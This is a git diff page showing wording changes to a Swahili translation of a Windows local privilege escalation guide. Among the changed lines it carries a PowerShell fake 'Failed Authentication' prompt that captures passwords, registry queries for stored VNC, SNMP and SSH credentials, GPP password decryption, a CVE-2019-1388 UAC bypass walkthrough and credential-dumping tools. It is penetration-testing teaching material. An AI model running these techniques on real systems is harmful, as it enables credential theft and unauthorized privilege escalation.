Kipengele kilikuwa kinapatikana hapo awali ambacho kiliruhusu usambazaji wa akaunti za wasimamizi wa ndani za kawaida kwenye kundi la mashine kupitia Mipangilio ya Sera ya Kundi (GPP). Hata hivyo, njia hii ilikuwa na mapungufu makubwa ya usalama. Kwanza, Vitu vya Sera ya Kundi (GPOs), vilivyohifadhiwa kama faili za XML katika SYSVOL, vinaweza kufikiwa na mtumiaji yeyote wa kikoa. Pili, nywila ndani ya hizi GPPs, zilizofichwa kwa AES256 kwa kutumia funguo ya kawaida iliyoorodheshwa hadharani, zinaweza kufichuliwa na mtumiaji yeyote aliyeidhinishwa. Hii ilileta hatari kubwa, kwani inaweza kuruhusu watumiaji kupata haki za juu.
 | 
			
		||||
 | 
			
		||||
Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani zenye uwanja wa "cpassword" ambao si tupu. Punde tu inapo pata faili kama hiyo, kazi hiyo inafichua nywila na kurudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali pa faili, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.
 | 
			
		||||
Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani zenye uwanja wa "cpassword" ambao si tupu. Punde tu inapo pata faili kama hiyo, kazi hiyo inafichua nywila na kurudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali ambapo faili hiyo ipo, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.
 | 
			
		||||
 | 
			
		||||
Tafuta katika `C:\ProgramData\Microsoft\Group Policy\history` au katika _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (kabla ya W Vista)_ kwa ajili ya faili hizi:
 | 
			
		||||
 | 
			
		||||
@ -1052,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 | 
			
		||||
```
 | 
			
		||||
### Omba taarifa za kuingia
 | 
			
		||||
 | 
			
		||||
Unaweza kila wakati **kuomba mtumiaji aingize taarifa zake za kuingia au hata taarifa za mtumiaji mwingine** ikiwa unadhani anaweza kujua hizo (zingatia kwamba **kuomba** mteja moja kwa moja kwa **taarifa za kuingia** ni kweli **hatari**):
 | 
			
		||||
Unaweza kila wakati **kuomba mtumiaji aingize taarifa zake za kuingia au hata taarifa za mtumiaji mwingine** ikiwa unadhani anaweza kujua hizo (zingatia kwamba **kuomba** mteja moja kwa moja kwa **taarifa za kuingia** ni hatari sana):
 | 
			
		||||
```bash
 | 
			
		||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 | 
			
		||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
 | 
			
		||||
@ -1143,14 +1143,14 @@ Ili **kurejesha nywila** zilizohifadhiwa na programu kadhaa unaweza kutumia: [ht
 | 
			
		||||
 | 
			
		||||
### Inside the registry
 | 
			
		||||
 | 
			
		||||
**Funguo zingine zinazowezekana za registry zenye akiba**
 | 
			
		||||
**Funguo zingine zinazowezekana za rejista zenye akiba**
 | 
			
		||||
```bash
 | 
			
		||||
reg query "HKCU\Software\ORL\WinVNC3\Password"
 | 
			
		||||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
 | 
			
		||||
reg query "HKCU\Software\TightVNC\Server"
 | 
			
		||||
reg query "HKCU\Software\OpenSSH\Agent\Key"
 | 
			
		||||
```
 | 
			
		||||
[**Toa funguo za openssh kutoka kwenye rejista.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 | 
			
		||||
[**Toa funguo za openssh kutoka kwa rejista.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 | 
			
		||||
 | 
			
		||||
### Historia ya Vivinjari
 | 
			
		||||
 | 
			
		||||
@ -1166,7 +1166,7 @@ Zana za kutoa nywila kutoka kwa vivinjari:
 | 
			
		||||
 | 
			
		||||
### **Kufuta COM DLL**
 | 
			
		||||
 | 
			
		||||
**Component Object Model (COM)** ni teknolojia iliyojengwa ndani ya mfumo wa uendeshaji wa Windows inayoruhusu **mawasiliano** kati ya vipengele vya programu za lugha tofauti. Kila kipengele cha COM kinatambulishwa kupitia kitambulisho cha darasa (CLSID) na kila kipengele kinatoa kazi kupitia interface moja au zaidi, zinazotambulishwa kupitia kitambulisho cha interface (IIDs).
 | 
			
		||||
**Component Object Model (COM)** ni teknolojia iliyojengwa ndani ya mfumo wa uendeshaji wa Windows inayoruhusu **mawasiliano** kati ya vipengele vya programu za lugha tofauti. Kila kipengele cha COM kinatambuliwa kupitia kitambulisho cha darasa (CLSID) na kila kipengele kinatoa kazi kupitia interface moja au zaidi, zinazotambuliwa kupitia vitambulisho vya interface (IIDs).
 | 
			
		||||
 | 
			
		||||
Darasa na interfaces za COM zin defined katika rejista chini ya **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** na **HKEY\_**_**CLASSES\_**_**ROOT\Interface** mtawalia. Rejista hii inaundwa kwa kuunganisha **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
 | 
			
		||||
 | 
			
		||||
@ -1174,7 +1174,7 @@ Ndani ya CLSIDs za rejista hii unaweza kupata rejista ya mtoto **InProcServer32*
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Kimsingi, ikiwa unaweza **kufuta chochote kati ya DLLs** ambazo zitatekelezwa, unaweza **kuinua mamlaka** ikiwa hiyo DLL itatekelezwa na mtumiaji tofauti.
 | 
			
		||||
Kimsingi, ikiwa unaweza **kufuta yoyote ya DLLs** ambazo zitatekelezwa, unaweza **kuinua mamlaka** ikiwa hiyo DLL itatekelezwa na mtumiaji tofauti.
 | 
			
		||||
 | 
			
		||||
Ili kujifunza jinsi washambuliaji wanavyotumia COM Hijacking kama njia ya kudumu angalia:
 | 
			
		||||
 | 
			
		||||
@ -1182,7 +1182,7 @@ Ili kujifunza jinsi washambuliaji wanavyotumia COM Hijacking kama njia ya kudumu
 | 
			
		||||
com-hijacking.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### **Utafutaji wa Nywila za Kijenerali katika Faili na Rejista**
 | 
			
		||||
### **Utafutaji wa Nywila za Kijeni katika Faili na Rejista**
 | 
			
		||||
 | 
			
		||||
**Tafuta maudhui ya faili**
 | 
			
		||||
```bash
 | 
			
		||||
@ -1218,8 +1218,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 | 
			
		||||
```
 | 
			
		||||
## Leaked Handlers
 | 
			
		||||
 | 
			
		||||
Fikiria kwamba **mchakato unaotendeka kama SYSTEM unafungua mchakato mpya** (`OpenProcess()`) kwa **ufikiaji kamili**. Mchakato huo huo **pia unaunda mchakato mpya** (`CreateProcess()`) **kwa ruhusa za chini lakini ukirithi handles zote za wazi za mchakato mkuu**.\
 | 
			
		||||
Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza kupata **handle wazi kwa mchakato wa ruhusa ulioanzishwa** na `OpenProcess()` na **kuingiza shellcode**.\
 | 
			
		||||
Fikiria kwamba **mchakato unaotembea kama SYSTEM unafungua mchakato mpya** (`OpenProcess()`) kwa **ufikiaji kamili**. Mchakato huo huo **pia unaunda mchakato mpya** (`CreateProcess()`) **kwa ruhusa za chini lakini unarithi handles zote za wazi za mchakato mkuu**.\
 | 
			
		||||
Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza kuchukua **handle wazi kwa mchakato wa ruhusa ulioanzishwa** na `OpenProcess()` na **kuingiza shellcode**.\
 | 
			
		||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
 | 
			
		||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 | 
			
		||||
 | 
			
		||||
@ -1253,7 +1253,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
 | 
			
		||||
 | 
			
		||||
Ikiwa una ufikiaji wa kiolesura cha grafiki (kupitia console au RDP) na UAC imewezeshwa, katika toleo fulani la Microsoft Windows inawezekana kuendesha terminal au mchakato mwingine wowote kama "NT\AUTHORITY SYSTEM" kutoka kwa mtumiaji asiye na mamlaka.
 | 
			
		||||
 | 
			
		||||
Hii inafanya iwezekane kupandisha mamlaka na kupita UAC kwa wakati mmoja kwa kutumia udhaifu huo huo. Zaidi ya hayo, hakuna haja ya kufunga chochote na faili ya binari inayotumika wakati wa mchakato, imesainiwa na kutolewa na Microsoft.
 | 
			
		||||
Hii inafanya iwezekane kupandisha mamlaka na kupita UAC kwa wakati mmoja kwa kutumia udhaifu huo huo. Zaidi ya hayo, hakuna haja ya kufunga chochote na binary inayotumika wakati wa mchakato, imesainiwa na kutolewa na Microsoft.
 | 
			
		||||
 | 
			
		||||
Baadhi ya mifumo iliyoathiriwa ni ifuatayo:
 | 
			
		||||
```
 | 
			
		||||
@ -1277,7 +1277,7 @@ Windows 10 1607	14393	** link OPENED AS SYSTEM **
 | 
			
		||||
Windows 10 1703	15063	link NOT opened
 | 
			
		||||
Windows 10 1709	16299	link NOT opened
 | 
			
		||||
```
 | 
			
		||||
Ili kutumia udhaifu huu, ni lazima ufanye hatua zifuatazo:
 | 
			
		||||
Ili kutumia udhaifu huu, ni muhimu kufuata hatua zifuatazo:
 | 
			
		||||
```
 | 
			
		||||
1) Right click on the HHUPD.EXE file and run it as Administrator.
 | 
			
		||||
 | 
			
		||||
@ -1299,7 +1299,7 @@ Unaweza kupata faili zote muhimu na taarifa katika hazina ifuatayo ya GitHub:
 | 
			
		||||
 | 
			
		||||
https://github.com/jas502n/CVE-2019-1388
 | 
			
		||||
 | 
			
		||||
## Kutoka kwa Kiwango cha Msimamizi cha Kati hadi Juu / UAC Bypass
 | 
			
		||||
## Kutoka kwa Kiwango cha Usimamizi wa Kati hadi Kiwango cha Juu cha Uaminifu / UAC Bypass
 | 
			
		||||
 | 
			
		||||
Soma hii ili **ujifunze kuhusu Viwango vya Uaminifu**:
 | 
			
		||||
 | 
			
		||||
@ -1324,8 +1324,8 @@ sc start newservicename
 | 
			
		||||
```
 | 
			
		||||
### AlwaysInstallElevated
 | 
			
		||||
 | 
			
		||||
Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha viingilio vya AlwaysInstallElevated kwenye rejista** na **kufunga** shell ya kurudi kwa kutumia _**.msi**_ wrapper.\
 | 
			
		||||
[Maelezo zaidi kuhusu funguo za rejista zinazohusika na jinsi ya kufunga pakiti ya _.msi_ hapa.](#alwaysinstallelevated)
 | 
			
		||||
Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha AlwaysInstallElevated registry entries** na **kufunga** shell ya kurudi kwa kutumia _**.msi**_ wrapper.\
 | 
			
		||||
[Maelezo zaidi kuhusu funguo za registry zinazohusika na jinsi ya kufunga pakiti ya _.msi_ hapa.](#alwaysinstallelevated)
 | 
			
		||||
 | 
			
		||||
### High + SeImpersonate privilege to System
 | 
			
		||||
 | 
			
		||||
@ -1333,20 +1333,20 @@ Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha viingilio vya
 | 
			
		||||
 | 
			
		||||
### From SeDebug + SeImpersonate to Full Token privileges
 | 
			
		||||
 | 
			
		||||
Ikiwa una hizo haki za tokeni (labda utaweza kuzipata katika mchakato wa High Integrity), utaweza **kufungua karibu mchakato wowote** (sio mchakato uliohifadhiwa) kwa kutumia haki ya SeDebug, **kunakili tokeni** ya mchakato, na kuunda **mchakato wowote na tokeni hiyo**.\
 | 
			
		||||
Kutumia mbinu hii kawaida **huchaguliwa mchakato wowote unaotumia kama SYSTEM na haki zote za tokeni** (_ndiyo, unaweza kupata mchakato za SYSTEM bila haki zote za tokeni_).\
 | 
			
		||||
Ikiwa una hizo haki za token (labda utaona hii katika mchakato wa High Integrity tayari), utaweza **kufungua karibu mchakato wowote** (michakato isiyo na ulinzi) kwa kutumia haki ya SeDebug, **kunakili token** ya mchakato, na kuunda **mchakato wowote na token hiyo**.\
 | 
			
		||||
Kutumia mbinu hii kawaida **huchaguliwa mchakato wowote unaotembea kama SYSTEM na haki zote za token** (_ndiyo, unaweza kupata michakato ya SYSTEM bila haki zote za token_).\
 | 
			
		||||
**Unaweza kupata** [**mfano wa msimbo unaotekeleza mbinu iliyopendekezwa hapa**](sedebug-+-seimpersonate-copy-token.md)**.**
 | 
			
		||||
 | 
			
		||||
### **Named Pipes**
 | 
			
		||||
 | 
			
		||||
Mbinu hii inatumika na meterpreter ili kupandisha hadhi katika `getsystem`. Mbinu hii inajumuisha **kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo**. Kisha, **server** iliyounda bomba hilo kwa kutumia haki ya **`SeImpersonate`** itakuwa na uwezo wa **kujifanya tokeni** ya mteja wa bomba (huduma) ikipata haki za SYSTEM.\
 | 
			
		||||
Mbinu hii inatumika na meterpreter ili kupandisha hadhi katika `getsystem`. Mbinu hii inajumuisha **kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo**. Kisha, **server** iliyounda bomba hilo kwa kutumia haki ya **`SeImpersonate`** itakuwa na uwezo wa **kujifanya kuwa token** ya mteja wa bomba (huduma) ikipata haki za SYSTEM.\
 | 
			
		||||
Ikiwa unataka [**kujifunza zaidi kuhusu bomba za jina unapaswa kusoma hii**](#named-pipe-client-impersonation).\
 | 
			
		||||
Ikiwa unataka kusoma mfano wa [**jinsi ya kutoka kwa high integrity hadi System kwa kutumia bomba za jina unapaswa kusoma hii**](from-high-integrity-to-system-with-name-pipes.md).
 | 
			
		||||
 | 
			
		||||
### Dll Hijacking
 | 
			
		||||
 | 
			
		||||
Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotumia kama **SYSTEM** utaweza kutekeleza msimbo wowote kwa kutumia ruhusa hizo. Hivyo, Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha hadhi, na, zaidi ya hayo, ni **rahisi zaidi kufikia kutoka kwa mchakato wa high integrity** kwani itakuwa na **ruhusa za kuandika** kwenye folda zinazotumika kupakia dlls.\
 | 
			
		||||
**Unaweza** [**kujifunza zaidi kuhusu Dll hijacking hapa**](dll-hijacking/)**.**
 | 
			
		||||
Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotembea kama **SYSTEM** utaweza kutekeleza msimbo wowote kwa kutumia ruhusa hizo. Hivyo basi, Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha hadhi, na, zaidi ya hayo, ni **rahisi zaidi kufikia kutoka kwa mchakato wa high integrity** kwani itakuwa na **ruhusa za kuandika** kwenye folda zinazotumika kupakia dlls.\
 | 
			
		||||
**Unaweza** [**kujifunza zaidi kuhusu Dll hijacking hapa**](dll-hijacking/index.html)**.**
 | 
			
		||||
 | 
			
		||||
### **From Administrator or Network Service to System**
 | 
			
		||||
 | 
			
		||||
@ -1369,25 +1369,25 @@ https://github.com/sailay1996/RpcSsImpersonator
 | 
			
		||||
**PS**
 | 
			
		||||
 | 
			
		||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
 | 
			
		||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Angalia makosa ya usanidi na faili nyeti (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Imegundulika.**\
 | 
			
		||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Angalia makosa ya usanidi na faili nyeti (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Imepatikana.**\
 | 
			
		||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Angalia makosa kadhaa ya usanidi na kukusanya taarifa (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
 | 
			
		||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Angalia makosa ya usanidi**\
 | 
			
		||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika eneo.**\
 | 
			
		||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Inatoa taarifa za kuingia kutoka kwa Meneja wa Taarifa. Imegundulika.**\
 | 
			
		||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Piga nywila zilizokusanywa kwenye kikoa**\
 | 
			
		||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika ndani.**\
 | 
			
		||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Inatoa akidi kutoka kwa Meneja wa Akidi. Imepatikana.**\
 | 
			
		||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Piga nywila zilizokusanywa kwenye domain**\
 | 
			
		||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ni zana ya PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer na man-in-the-middle.**\
 | 
			
		||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Uainishaji wa msingi wa privesc Windows**\
 | 
			
		||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Tafuta udhaifu wa privesc uliojulikana (IMEFUTWA kwa Watson)\
 | 
			
		||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Tafuta udhaifu wa privesc unaojulikana (DEPRECATED kwa Watson)\
 | 
			
		||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Ukaguzi wa ndani **(Inahitaji haki za Admin)**
 | 
			
		||||
 | 
			
		||||
**Exe**
 | 
			
		||||
 | 
			
		||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Tafuta udhaifu wa privesc uliojulikana (inahitaji kukusanywa kwa kutumia VisualStudio) ([**imekusanywa**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
 | 
			
		||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Inatafuta mwenyeji akitafuta makosa ya usanidi (zaidi ni zana ya kukusanya taarifa kuliko privesc) (inahitaji kukusanywa) **(**[**imekusanywa**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
 | 
			
		||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Inatoa taarifa za kuingia kutoka kwa programu nyingi (exe iliyokusanywa katika github)**\
 | 
			
		||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Tafuta udhaifu wa privesc unaojulikana (inahitaji kukusanywa kwa kutumia VisualStudio) ([**imekusanywa awali**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
 | 
			
		||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Inatafuta mwenyeji akitafuta makosa ya usanidi (zaidi ni zana ya kukusanya taarifa kuliko privesc) (inahitaji kukusanywa) **(**[**imekusanywa awali**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
 | 
			
		||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Inatoa akidi kutoka kwa programu nyingi (exe iliyokusanywa awali katika github)**\
 | 
			
		||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port ya PowerUp kwa C#**\
 | 
			
		||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Angalia makosa ya usanidi (executable iliyokusanywa katika github). Haipendekezwi. Haifanyi kazi vizuri katika Win10.\
 | 
			
		||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Angalia makosa yanayoweza kutokea (exe kutoka python). Haipendekezwi. Haifanyi kazi vizuri katika Win10.
 | 
			
		||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Angalia makosa ya usanidi yanayoweza kutokea (exe kutoka python). Haipendekezwi. Haifanyi kazi vizuri katika Win10.
 | 
			
		||||
 | 
			
		||||
**Bat**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user